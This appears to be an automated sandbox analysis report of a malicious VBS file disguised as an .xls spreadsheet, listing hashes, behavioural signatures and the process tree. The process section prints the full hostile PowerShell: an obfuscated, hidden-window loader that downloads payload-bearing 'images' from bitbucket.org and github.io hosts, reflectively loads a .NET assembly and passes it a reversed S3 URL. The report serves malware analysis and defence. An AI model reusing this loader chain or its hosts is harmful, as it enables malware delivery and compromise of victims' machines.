Analysis
-
max time kernel
120s -
max time network
124s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
26/03/2025, 07:33
Static task
static1
Behavioral task
behavioral1
Sample
CEKARFQIND18042128.xls.vbs
Resource
win7-20241010-en
General
-
Target
CEKARFQIND18042128.xls.vbs
-
Size
13KB
-
MD5
625608a8b21dd63c47807150c9e056ff
-
SHA1
8cd013e6bb9806b058f0cc21cdbc519089da08bb
-
SHA256
4a4cb3cf592dc2b8cff367fef834b31f22eebc0e6cd66617169e14a6c3c80c3e
-
SHA512
48c8e73beffffb3dd830dc90cfd44802a951a1949d0c5deb0ca8dfa20e0ea0c06d506e6e3311efae0f72fc884789b4005e9a2dea6d97854658cd2d3a68c67a94
-
SSDEEP
192:lK222222222222222ELHkzZrrp/Wb6MbRha434iM458ooRbcpF3LWiGDC2M8Rk5D:iFFUgFwJISz9yd80g2r
Malware Config
Signatures
-
Blocklisted process makes network request 4 IoCs
flow pid Process 5 3044 powershell.exe 6 3044 powershell.exe 8 3044 powershell.exe 9 3044 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2260 powershell.exe 3044 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 7 bitbucket.org 8 bitbucket.org 9 bitbucket.org -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2260 powershell.exe 3044 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2260 powershell.exe Token: SeDebugPrivilege 3044 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2004 wrote to memory of 2260 2004 WScript.exe 30 PID 2004 wrote to memory of 2260 2004 WScript.exe 30 PID 2004 wrote to memory of 2260 2004 WScript.exe 30 PID 2260 wrote to memory of 3044 2260 powershell.exe 32 PID 2260 wrote to memory of 3044 2260 powershell.exe 32 PID 2260 wrote to memory of 3044 2260 powershell.exe 32
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\CEKARFQIND18042128.xls.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO@GU@d@@u@FM@ZQBy@HY@aQBj@GU@U@Bv@Gk@bgB0@E0@YQBu@GE@ZwBl@HI@XQ@6@Do@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@@g@D0@I@Bb@E4@ZQB0@C4@UwBl@GM@dQBy@Gk@d@B5@F@@cgBv@HQ@bwBj@G8@b@BU@Hk@c@Bl@F0@Og@6@FQ@b@Bz@DE@Mg@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgB1@G4@YwB0@Gk@bwBu@C@@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@RgBy@G8@bQBM@Gk@bgBr@HM@I@B7@C@@c@Bh@HI@YQBt@C@@K@Bb@HM@d@By@Gk@bgBn@Fs@XQBd@CQ@b@Bp@G4@awBz@Ck@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@B3@GU@YgBD@Gw@aQBl@G4@d@@g@D0@I@BO@GU@dw@t@E8@YgBq@GU@YwB0@C@@UwB5@HM@d@Bl@G0@LgBO@GU@d@@u@Fc@ZQBi@EM@b@Bp@GU@bgB0@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@C@@PQ@g@Ec@ZQB0@C0@UgBh@G4@Z@Bv@G0@I@@t@Ek@bgBw@HU@d@BP@GI@agBl@GM@d@@g@CQ@b@Bp@G4@awBz@C@@LQBD@G8@dQBu@HQ@I@@k@Gw@aQBu@Gs@cw@u@Ew@ZQBu@Gc@d@Bo@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@ZgBv@HI@ZQBh@GM@a@@g@Cg@J@Bs@Gk@bgBr@C@@aQBu@C@@J@Bz@Gg@dQBm@GY@b@Bl@GQ@T@Bp@G4@awBz@Ck@I@B7@C@@d@By@Hk@I@B7@C@@cgBl@HQ@dQBy@G4@I@@k@Hc@ZQBi@EM@b@Bp@GU@bgB0@C4@R@Bv@Hc@bgBs@G8@YQBk@EQ@YQB0@GE@K@@k@Gw@aQBu@Gs@KQ@g@H0@I@Bj@GE@d@Bj@Gg@I@B7@C@@YwBv@G4@d@Bp@G4@dQBl@C@@fQ@g@H0@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@By@GU@d@B1@HI@bg@g@CQ@bgB1@Gw@b@@g@H0@Ow@g@@0@Cg@k@EI@eQB0@GU@cw@g@D0@I@@n@Gg@d@B0@Cc@Ow@N@@o@J@BC@Hk@d@Bl@HM@Mg@g@D0@I@@n@H@@cw@6@C8@Lw@n@Ds@DQ@K@CQ@b@Bm@HM@Z@Bm@HM@Z@Bn@C@@PQ@g@C@@J@BC@Hk@d@Bl@HM@I@@r@CQ@QgB5@HQ@ZQBz@DI@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bs@Gk@bgBr@HM@I@@9@C@@Q@@o@Cg@J@Bs@GY@cwBk@GY@cwBk@Gc@I@@r@C@@JwBi@Gk@d@Bi@HU@YwBr@GU@d@@u@G8@cgBn@C8@ZwBm@Gg@Z@Bq@Gs@Z@Bk@C8@agBo@Gg@a@Bo@Gg@a@Bo@C8@Z@Bv@Hc@bgBs@G8@YQBk@HM@LwB0@GU@cwB0@DI@LgBq@H@@Zw@/@DE@Mw@3@DE@MQ@z@Cc@KQ@s@C@@K@@k@Gw@ZgBz@GQ@ZgBz@GQ@Zw@g@Cs@I@@n@G8@ZgBp@GM@ZQ@z@DY@NQ@u@Gc@aQB0@Gg@dQBi@C4@aQBv@C8@MQ@v@HQ@ZQBz@HQ@LgBq@H@@Zw@n@Ck@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@aQBt@GE@ZwBl@EI@eQB0@GU@cw@g@D0@I@BE@G8@dwBu@Gw@bwBh@GQ@R@Bh@HQ@YQBG@HI@bwBt@Ew@aQBu@Gs@cw@g@CQ@b@Bp@G4@awBz@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@aQBm@C@@K@@k@Gk@bQBh@Gc@ZQBC@Hk@d@Bl@HM@I@@t@G4@ZQ@g@CQ@bgB1@Gw@b@@p@C@@ew@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@I@@9@C@@WwBT@Hk@cwB0@GU@bQ@u@FQ@ZQB4@HQ@LgBF@G4@YwBv@GQ@aQBu@Gc@XQ@6@Do@VQBU@EY@O@@u@Ec@ZQB0@FM@d@By@Gk@bgBn@Cg@J@Bp@G0@YQBn@GU@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C@@PQ@g@Cc@P@@8@EI@QQBT@EU@Ng@0@F8@UwBU@EE@UgBU@D4@Pg@n@Ds@I@@k@GU@bgBk@EY@b@Bh@Gc@I@@9@C@@Jw@8@Dw@QgBB@FM@RQ@2@DQ@XwBF@E4@R@@+@D4@Jw@7@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bz@HQ@YQBy@HQ@RgBs@GE@Zw@p@Ds@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@Gk@Zg@g@Cg@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@C@@LQBn@GU@I@@w@C@@LQBh@G4@Z@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@LQBn@HQ@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@KQ@g@Hs@I@@k@HM@d@Bh@HI@d@BJ@G4@Z@Bl@Hg@I@@r@D0@I@@k@HM@d@Bh@HI@d@BG@Gw@YQBn@C4@T@Bl@G4@ZwB0@Gg@Ow@g@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GI@YQBz@GU@Ng@0@Ew@ZQBu@Gc@d@Bo@Gg@I@@9@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@t@C@@J@Bz@HQ@YQBy@HQ@SQBu@GQ@ZQB4@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bi@GE@cwBl@DY@N@BD@G8@bQBt@GE@bgBk@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBT@HU@YgBz@HQ@cgBp@G4@Zw@o@CQ@cwB0@GE@cgB0@Ek@bgBk@GU@e@@s@C@@J@Bi@GE@cwBl@DY@N@BM@GU@bgBn@HQ@a@Bo@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBD@G8@bgB2@GU@cgB0@F0@Og@6@EY@cgBv@G0@QgBh@HM@ZQ@2@DQ@UwB0@HI@aQBu@Gc@K@@k@GI@YQBz@GU@Ng@0@EM@bwBt@G0@YQBu@GQ@KQ@7@C@@I@@g@CQ@ZQBu@GQ@SQBu@GQ@ZQB4@C@@PQ@g@CQ@aQBt@GE@ZwBl@FQ@ZQB4@HQ@LgBJ@G4@Z@Bl@Hg@TwBm@Cg@J@Bl@G4@Z@BG@Gw@YQBn@Ck@Ow@g@C@@I@@k@GU@bgBk@Ek@bgBk@GU@e@@g@D0@I@@k@Gk@bQBh@Gc@ZQBU@GU@e@B0@C4@SQBu@GQ@ZQB4@E8@Zg@o@CQ@ZQBu@GQ@RgBs@GE@Zw@p@Ds@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@b@Bv@GE@Z@Bl@GQ@QQBz@HM@ZQBt@GI@b@B5@C@@PQ@g@Fs@UwB5@HM@d@Bl@G0@LgBS@GU@ZgBs@GU@YwB0@Gk@bwBu@C4@QQBz@HM@ZQBt@GI@b@B5@F0@Og@6@Ew@bwBh@GQ@K@@k@GM@bwBt@G0@YQBu@GQ@QgB5@HQ@ZQBz@Ck@Ow@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bj@G8@bQBw@HI@ZQBz@HM@ZQBk@EI@eQB0@GU@QQBy@HI@YQB5@C@@PQ@g@Ec@ZQB0@C0@QwBv@G0@c@By@GU@cwBz@GU@Z@BC@Hk@d@Bl@EE@cgBy@GE@eQ@g@C0@YgB5@HQ@ZQBB@HI@cgBh@Hk@I@@k@GU@bgBj@FQ@ZQB4@HQ@DQ@K@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@CQ@d@B5@H@@ZQ@g@D0@I@@k@Gw@bwBh@GQ@ZQBk@EE@cwBz@GU@bQBi@Gw@eQ@u@Ec@ZQB0@FQ@eQBw@GU@K@@n@HQ@ZQBz@HQ@c@Bv@Hc@ZQBy@HM@a@Bl@Gw@b@@u@Eg@bwBh@GE@YQBh@GE@YQBz@GQ@bQBl@Cc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@N@@o@I@@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@J@Bl@G4@Z@BJ@G4@Z@Bl@Hg@I@@9@C@@J@Bp@G0@YQBn@GU@V@Bl@Hg@d@@u@Ek@bgBk@GU@e@BP@GY@K@@k@GU@bgBk@EY@b@Bh@Gc@KQ@7@@0@Cg@g@C@@I@@g@C@@I@@g@C@@I@@g@C@@I@@k@G0@ZQB0@Gg@bwBk@C@@PQ@g@CQ@d@B5@H@@ZQ@u@Ec@ZQB0@E0@ZQB0@Gg@bwBk@Cg@JwBs@GY@cwBn@GU@Z@Bk@GQ@Z@Bk@GQ@Z@Bh@Cc@KQ@u@Ek@bgB2@G8@awBl@Cg@J@Bu@HU@b@Bs@Cw@I@Bb@G8@YgBq@GU@YwB0@Fs@XQBd@C@@K@@n@HQ@e@B0@C4@YgBo@GE@ZwBj@GM@SQ@v@G0@bwBj@C4@cwB3@GE@bgBv@Ho@YQBt@GE@Lg@x@C0@d@Bz@GE@ZQ@t@HM@dQ@u@DM@cw@u@DU@MgBh@Gs@ZQBs@C8@Lw@6@HM@Jw@s@C@@Jw@w@Cc@L@@g@Cc@UwB0@GE@cgB0@HU@c@BO@GE@bQBl@Cc@L@@g@Cc@UgBl@Gc@QQBz@G0@Jw@s@C@@Jw@w@Cc@KQ@p@H0@fQ@=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dosigo.replace('@','A') ));powershell.exe $OWjuxD .exe -windowstyle hidden -exec2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $Bytes = 'htt'; $Bytes2 = 'ps://'; $lfsdfsdg = $Bytes +$Bytes2; $links = @(($lfsdfsdg + 'bitbucket.org/gfhdjkdd/jhhhhhhh/downloads/test2.jpg?137113'), ($lfsdfsdg + 'ofice365.github.io/1/test.jpg')); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Lengthh = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Lengthh); $endIndex = $imageText.IndexOf($endFlag); $commandBytes = [System.Convert]::FromBase64String($base64Command); $endIndex = $imageText.IndexOf($endFlag); $endIndex = $imageText.IndexOf($endFlag); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $endIndex = $imageText.IndexOf($endFlag); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] ('txt.bhagccI/moc.swanozama.1-tsae-su.3s.52akel//:s', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3044
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5a86c58c9c1e5213fa9706e970eea0f62
SHA1a153ed3951256ed9c6a6ac9e52310d21898f2572
SHA256c67ead816fe0485a73613d2b24071f13fddc95f8e3922d325e5522c4dead0336
SHA512d41e075090db56008af4aeb7dfd3b6082e0fc9a613201e315b2d8930ff6c88f9e6ce4268016632f7e3ca8703f5ae6fa3f8d69d045d1729e98f9ab0873e37405d